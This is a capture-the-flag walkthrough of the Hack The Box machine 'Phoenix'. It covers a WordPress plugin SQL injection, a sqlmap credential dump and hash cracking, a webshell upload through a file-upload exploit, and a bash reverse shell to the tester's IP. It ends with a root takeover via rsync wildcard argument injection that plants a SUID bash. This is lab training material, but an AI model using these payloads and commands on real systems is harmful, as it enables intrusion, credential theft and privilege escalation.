# Phoenix

IP: 10.10.11.149

# Nmap

# All ports

$ sudo nmap -p- --min-rate=1000 -T4 10.10.11.149

PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

# Service Scan

$ sudo nmap -sC -sV -p22,80,443 10.10.11.149

Nmap scan report for phoenix.htb (10.10.11.149)
Host is up (0.32s latency).                                                  
                                                                             
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)           
| ssh-hostkey: 
|   3072 9d:f3:87:cd:34:75:83:e0:3f:50:d8:39:c6:a5:32:9f (RSA)
|   256 ab:61:ce:eb:ed:e2:86:76:e9:e1:52:fa:a5:c7:7b:20 (ECDSA)
|_  256 26:2e:38:ca:df:72:d4:54:fc:75:a4:91:65:cc:e8:b0 (ED25519)
80/tcp  open  http     Apache httpd
|_http-server-header: Apache
|_http-title: Did not follow redirect to https://phoenix.htb/
443/tcp open  ssl/http Apache httpd
|_http-server-header: Apache
| tls-alpn: 
|   h2
|_  http/1.1
|_http-generator: WordPress 5.9
|_http-title: Phoenix Security – Securing the future.
| ssl-cert: Subject: commonName=phoenix.htb/organizationName=Phoenix Security Ltd./stateOrProvinceName=Arizona/countryName=US
| Not valid before: 2022-02-15T20:08:43
|_Not valid after:  2032-02-13T20:08:43
| http-robots.txt: 1 disallowed entry  
|_/wp-admin/
|_ssl-date: TLS randomness does not represent time

We can see that port 80 is redirecting to https://phoenix.htb. Lets add phoenix.htb dns entry to /etc/hosts:

10.10.11.149    phoenix.htb

# Port 443 - HTTPS

From the nmap scan I can see that it is running Wordpress v5.9. Lets run wpscan to enumerate some more:

$ wpscan --url https://phoenix.htb/ --enumerate ap,at,cb,dbe,u --disable-tls-checks

Bad decision! I got IP blocked!

Lets manually enumerate the website. Looking at the home page source code I could spot some of the plugins metadata. One of them, asgaros-forum, even leak the the version installed:

Searched for known vulnerabilities and found an unauthenticated SQL injection for this plugin. To exploit is very easy, the syntax looks like this:

?subscribe_topic=1%20union%20select%201%20and%20sleep(10)

# Asgaros Forum SQL injection - WP plugin

From the main page we can access the forum at https://phoenix.htb/forum/. Browsing to "Members" tab we get a list of possible users:

Phoenix - Administrator
Jack Thomson - User
Jane Logan - User
john - User
John Smith - User

We can test the SQL injection vulnerability sending the following GET request:

https://phoenix.htb/forum/?subscribe_topic=1%20union%20select%201%20and%20sleep(10)

And the browser received a response back from the server 10s later, confirming the SQL injection.

I will use SQLMap to automate the exploitation. First, I intercepted a request to the vulnerable URL with Burp:

GET /forum/?subscribe_topic=1 HTTP/2
Host: phoenix.htb
Cookie: asgarosforum_unique_id=6235797261801; asgarosforum_unread_cleared=1000-01-01%2000%3A00%3A00; asgarosforum_unread_exclude=a%3A1%3A%7Bi%3A1%3Bi%3A1%3B%7D
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers

# SQLMap

sqlmap -r subscribe.req --batch --risk 3 --level 5 --random-agent --technique T

I'm using "--technique T" to use Time-Based techniques as we know it works from the POC. SQLMap found the vulnerability:

sqlmap identified the following injection point(s) with a total of 67 HTTP(s) requests:
---
Parameter: subscribe_topic (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: subscribe_topic=1 AND (SELECT 4011 FROM (SELECT(SLEEP(5)))asIV)
---
[15:29:15] [INFO] the back-end DBMS is MySQL

We learned that the database is MySQL, we can add --dbms=mysql to the arguments so it goes faster. Lets dump all the database names:

sqlmap -r subscribe.req --batch --risk 3 --level 5 --random-agent --technique T --dbms=mysql --dbs

[15:34:15] [INFO] fetching database names
[15:34:15] [INFO] fetching number of databases
[15:34:15] [INFO] retrieved: 2
[15:34:30] [INFO] retrieved: information_schema
[15:39:41] [INFO] retrieved: wordpress

The process is going VERY slow.

Wordpress by default creates a table called wp_users. More info here. Inside this table it is stored details of the users. I'm interested in user_login and user_pass:

sqlmap -r subscribe.req --batch --risk 3 --level 5 --random-agent --technique T --dbms=mysql -D wordpress -T wp_users -C user_login,user_pass --dump

+------------+--------------------------------------------------+
| user_login | user_pass                                        |
+------------+--------------------------------------------------+
| john       | $P$B8eBH6QfVODeb/gYCSJRvm9MyRv7xz.               |
| Phoenix    | $P$BA5zlC0IhOiJKMTK.nWBgUB4Lxh/gc.               |
| caue       | $P$BFBRbXQMHfyEdMmAe8dH519SB/83jZ0 (password123) |
| Jane       | $P$BJCq26vxPmaQtAthFcnyNv1322qxD91               |
| Jsmith     | $P$BV5kUPHrZfVDDWSkvbt/Fw3Oeozb.G.               |
| Jack       | $P$BzalVhBkVN.6ii8y/nbv3CTLbC0E9e.               |
+------------+--------------------------------------------------+

# Cracking hashes - Hashcat

Added the hashes into a file called hashes.txt and attempt to crack it:

$ hashcat -O -m 400 -a 0 -o cracked.txt hashes.txt /usr/share/wordlists/rockyou.txt
...

Phoenix:phoenixthefirebird14
Jsmith:superphoenix
john:password@1234
Jane:
Jack:

We got some passwords but no luck for Jane and Jack.

# Login in as Phoenix

Login using the administrator credentials phoenix:phoenixthefirebird14 we are stopped by OTP:

I tried many ways of circunventing the OTP but nothing works. At this point I decided to re-enumerate the plugins installed on wordpress. Maybe we can find some vulnerable plugins. Reading the source code of the home page I could get some of them:

$ curl -k https://phoenix.htb/ | grep plugins

https://phoenix.htb/wp-content/plugins/accordion-slider-gallery (v1.4)
https://phoenix.htb/wp-content/plugins/asgaros-forum (v1.15.13)
https://phoenix.htb/wp-content/plugins/photo-gallery-builder (v1.7)
https://phoenix.htb/wp-content/plugins/timeline-event-history (v1.6)
https://phoenix.htb/wp-content/plugins/pie-register (v3.7.2.6)

I looked for exploits but nothing really interesting. Wordpress stores its active plugins register in the database. It is usually located in:

  • Database: wordpress
  • Table: wp_options
  • Column/registry: active_plugins

So i decided to play with the SQL injection a bit more and dump the wp_options table to see what is in this registry:

$ sqlmap -r subscribe.req --batch --risk 3 --level 5 --random-agent -D wordpress -T wp_options --dump

a:5:{i:0;s:89:"/srv/www/wordpress/../../../opt/wordpress/wp-content/plugins/asgaros-forum/skin/style.css";i:1;s:92:"/srv/www/wordpress/../../../opt/wordpress/wp-content/plugins/asgaros-forum/asgaros-forum.php";i:2;s:106:"/srv/www/wordpress/../../../opt/wordpress/wp-content/plugins/accordion-slider-gallery/accordion-slider.php";i:3;s:86:"/srv/www/wordpress/../../../opt/wordpress/wp-content/plugins/adminimize/adminimize.php";i:4;s:62:"/srv/www/wordpress/wp-content/themes/twentytwentyone/style.css";}
...[snip]...
download-from-files/download-from-files.php...
...[snip]...

It was dumping a lot of data and very, very, slow! But when I saw the plugin download-from-files/download-from-files.php being used I immediately searched for vulnerabilities on internet.

Found an exploit for Download From Files v1.48 (Arbitrary File Upload). Exploit-DB link. Reading the exploit, it abuses of an arbitrary file upload vulnerability where the plugin allow an unauthenticated user to upload php4 and phtml files. I will make a copy of PownyShell , change the file extension to .phtml and upload to the web server using the exploit.

~/htb/phoenix
❯ cp /opt/p0wny-shell/shell.php .

~/htb/phoenix
❯ mv shell.php shell.phtml   

~/htb/phoenix
❯ python3 file-upload.py https://phoenix.htb ./shell.phtml 
Download From Files <= 1.48 - Arbitrary File Upload
Author -> spacehen (www.github.com/spacehen)
Uploading Shell...
Shell Uploaded!
https://phoenix.htb/wp-admin/shell.phtml

Browsing to https://phoenix.htb/wp-admin/shell.phtml we get our semi-interactive webshell!

# Shell as wp_user

First of all, lets get a real tty. Start a netcat listener on our kali machine:

$ nc -lnvp 4444

Run a bash reverse shell from the webshell:

p0wny@shell:…/wordpress/wp-admin# bash -c 'bash -i >& /dev/tcp/10.10.14.2/4444 0>&1'

# Upgrade tty

wp_user@phoenix:~/wordpress/wp-admin$ python3 -c 'import pty; pty.spawn("/bin/bash")'
CTRL+Z

❯ stty raw -echo;fg                    
[1]  + continued  nc -lnvp 4444

wp_user@phoenix:~/wordpress/wp-admin$ export TERM=xterm

# Escape OTP

Since we have some credentials extracted from the SQL injection I was trying to change user, however, the system would ask for a 2FA code:

wp_user@phoenix:~/wordpress/wp-admin$ su phoenix
Verification code:

I remember reading a blog article that recommended looking at where is the 2FA implemented. Sometimes it only asks for 2FA in a specific service or IP. Looking at the access configuration file I saw that it would allow access from the network 10.11.12.13/24. So probably we can circunvent the 2FA.

wp_user@phoenix:~$ cat /etc/security/access-local.conf                                                                                                        
+ : ALL : 10.11.12.13/24                                                                                                                                      
- : ALL : ALL

Running ifconfig revealed we are connected to that subnet via eth0:

wp_user@phoenix:~$ ifconfig                                                                                                                                   
ens160: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500                                                                                                  
        inet 10.10.11.149  netmask 255.255.254.0  broadcast 10.10.11.255                                                                                      
        inet6 fe80::250:56ff:feb9:954c  prefixlen 64  scopeid 0x20<link>                                                                                      
        inet6 dead:beef::250:56ff:feb9:954c  prefixlen 64  scopeid 0x0<global>                                                                                
        ether 00:50:56:b9:95:4c  txqueuelen 1000  (Ethernet)                                                                                                  
        RX packets 82501  bytes 11605905 (11.6 MB)                                                                                                            
        RX errors 0  dropped 37  overruns 0  frame 0                                                                                                          
        TX packets 44365  bytes 39835719 (39.8 MB)                                                                                                            
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

eth0: flags=195<UP,BROADCAST,RUNNING,NOARP>  mtu 1500
        inet 10.11.12.13  netmask 255.255.255.0  broadcast 0.0.0.0
        inet6 fe80::607c:42ff:fe5b:cd05  prefixlen 64  scopeid 0x20<link>
        ether 62:7c:42:5b:cd:05  txqueuelen 1000  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 989  bytes 73122 (73.1 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

# SSH shell as editor

Lets SSH in to that network. I tried some credentials and the one that work was editor:superphoenix.

wp_user@phoenix:~$ ssh editor@10.11.12.13                                                                                                                     
The authenticity of host '10.11.12.13 (10.11.12.13)' can't be established.                                                                                    
ECDSA key fingerprint is SHA256:UFrZTjBNH3KNUbtCeiCkYGUImlWztCyRUVcMDDkKeu4.                                                                                  
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.11.12.13' (ECDSA) to the list of known hosts.
$$$$$$$\  $$\                                     $$\           
$$  __$$\ $$ |                                    \__|          
$$ |  $$ |$$$$$$$\   $$$$$$\   $$$$$$\  $$$$$$$\  $$\ $$\   $$\ 
$$$$$$$  |$$  __$$\ $$  __$$\ $$  __$$\ $$  __$$\ $$ |\$$\ $$  |
$$  ____/ $$ |  $$ |$$ /  $$ |$$$$$$$$ |$$ |  $$ |$$ | \$$$$  / 
$$ |      $$ |  $$ |$$ |  $$ |$$   ____|$$ |  $$ |$$ | $$  $$<  
$$ |      $$ |  $$ |\$$$$$$  |\$$$$$$$\ $$ |  $$ |$$ |$$  /\$$\ 
\__|      \__|  \__| \______/  \_______|\__|  \__|\__|\__/  \__|
Password: 
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-96-generic x86_64)

editor@phoenix:~$

# Backup files

Enumerating the machine I see some interesting files in the /backups directory:

editor@phoenix:/backups$ ls -la
total 2000
drwxr-x---  2 editor editor   4096 Mar 21 00:03 .
drwxr-xr-x 20 root   root     4096 Feb 25 19:40 ..
-rw-r--r--  1 root   root   678549 Mar 20 23:57 phoenix.htb.2022-03-20-23-57.tar.gz
-rw-r--r--  1 root   root   678548 Mar 21 00:00 phoenix.htb.2022-03-21-00-00.tar.gz
-rw-r--r--  1 root   root   678547 Mar 21 00:03 phoenix.htb.2022-03-21-00-03.tar.gz

It seems that the system is creating a file every 3 minutes. I will transfer the oldest one to my machine for a closer look:

❯ nc -l -p 1234 > phoenix.htb.2022-03-20-23-57.tar.gz
...
editor@phoenix:/backups$ nc -w 3 10.10.14.2 1234 < phoenix.htb.2022-03-20-23-57.tar.gz

Decompress it:

❯ tar -xvzf phoenix.htb.2022-03-20-23-57.tar.gz    
dbbackup.sql
tar: dbbackup.sql: time stamp 2022-03-21 07:57:01 is 163.536085848 s in the future

Looking at the contents of the file I notice it is a backup of the mysql database. But how this is happening? I tried running pspy to monitor the processes running but no luck! Enumerated the cronjobs and got nothing!

Decided to go deeper in enumerating the machine when I found an interesting binary in the /usr/local/bin directory:

editor@phoenix:/usr/local/bin$ ls -la
total 24
drwxr-xr-x  2 root root  4096 Feb 13 20:11 .
drwxr-xr-x 10 root root  4096 Jul 31  2020 ..
-rwxr-xr-x  1 root root 15392 Feb 16 22:27 cron.sh.x

It is a binary and I cannot read it in plain-text. So I setup another tty with pspy running and executed the binary to see what is doing:

# Rsync privilege escalation

The most interesing things to note above are:

  • It is changing directory to /backups
  • Running rsync to every file in the directory (probably using wildcard)

Looking at Hacktricks I could spot our privilege escalation path! The idea is to inject code since rsync might be using a wildcard to get all the file names. We can create a file that will add an argument to the rsync command and execute a bash script. The file shell.sh will make a copy of bash and set the SUID permissions to it.

editor@phoenix:/backups$ echo 'cp /usr/bin/bash /tmp/rootbash;chmod +s /tmp/rootbash' > shell.sh
editor@phoenix:/backups$ chmod +x shell.sh
editor@phoenix:/backups$ touch "/backups/-e sh shell.sh"

The /backups directory should look like this. Now we just wait for the cronjob:

And here it is, we have a copy of bash with the SUID bit:

Lets get a root shell:

editor@phoenix:/tmp$ ./rootbash -p

rootbash-5.0$ id
uid=1002(editor) gid=1002(editor) euid=0(root) egid=0(root) groups=0(root),1002(editor)

rootbash-5.0$ cd /root
rootbash-5.0$ ls -la
total 128
drwx------  8 root root  4096 Feb 25 19:40 .
drwxr-xr-x 20 root root  4096 Feb 25 19:40 ..
-rwxr-xr-x  1 root root   142 Feb 13 20:16 adapter.sh
lrwxrwxrwx  1 root root     9 Nov 13 10:41 .bash_history -> /dev/null
drwx------  2 root root  4096 Feb 25 15:07 .cache
drwx------  4 root root  4096 Feb 25 15:07 .config
-rw-r--r--  1 root root   275 Feb 16 22:27 cron.sh
-rwxrwxr-x  1 root root 15392 Feb 16 22:27 cron.sh.x
-rw-r--r--  1 root root 18960 Feb 16 22:27 cron.sh.x.c
drwxr-xr-x  3 root root  4096 Feb 25 15:07 .local
lrwxrwxrwx  1 root root     9 Nov 13 10:45 .mysql_history -> /dev/null
lrwxrwxrwx  1 root root     9 Feb 25 13:21 .python_history -> /dev/null
-rw-r-----  1 root root    33 Mar 20 23:58 root.txt
drwx------  2 root root  4096 Feb 25 15:07 .ssh
drwxr-xr-x  3 root root  4096 Feb 25 15:07 .subversion
drwxr-xr-x  2 root root  4096 Feb 25 15:07 .vim
-rw-r--r--  1 root root 49006 Nov 25 12:29 .zcompdump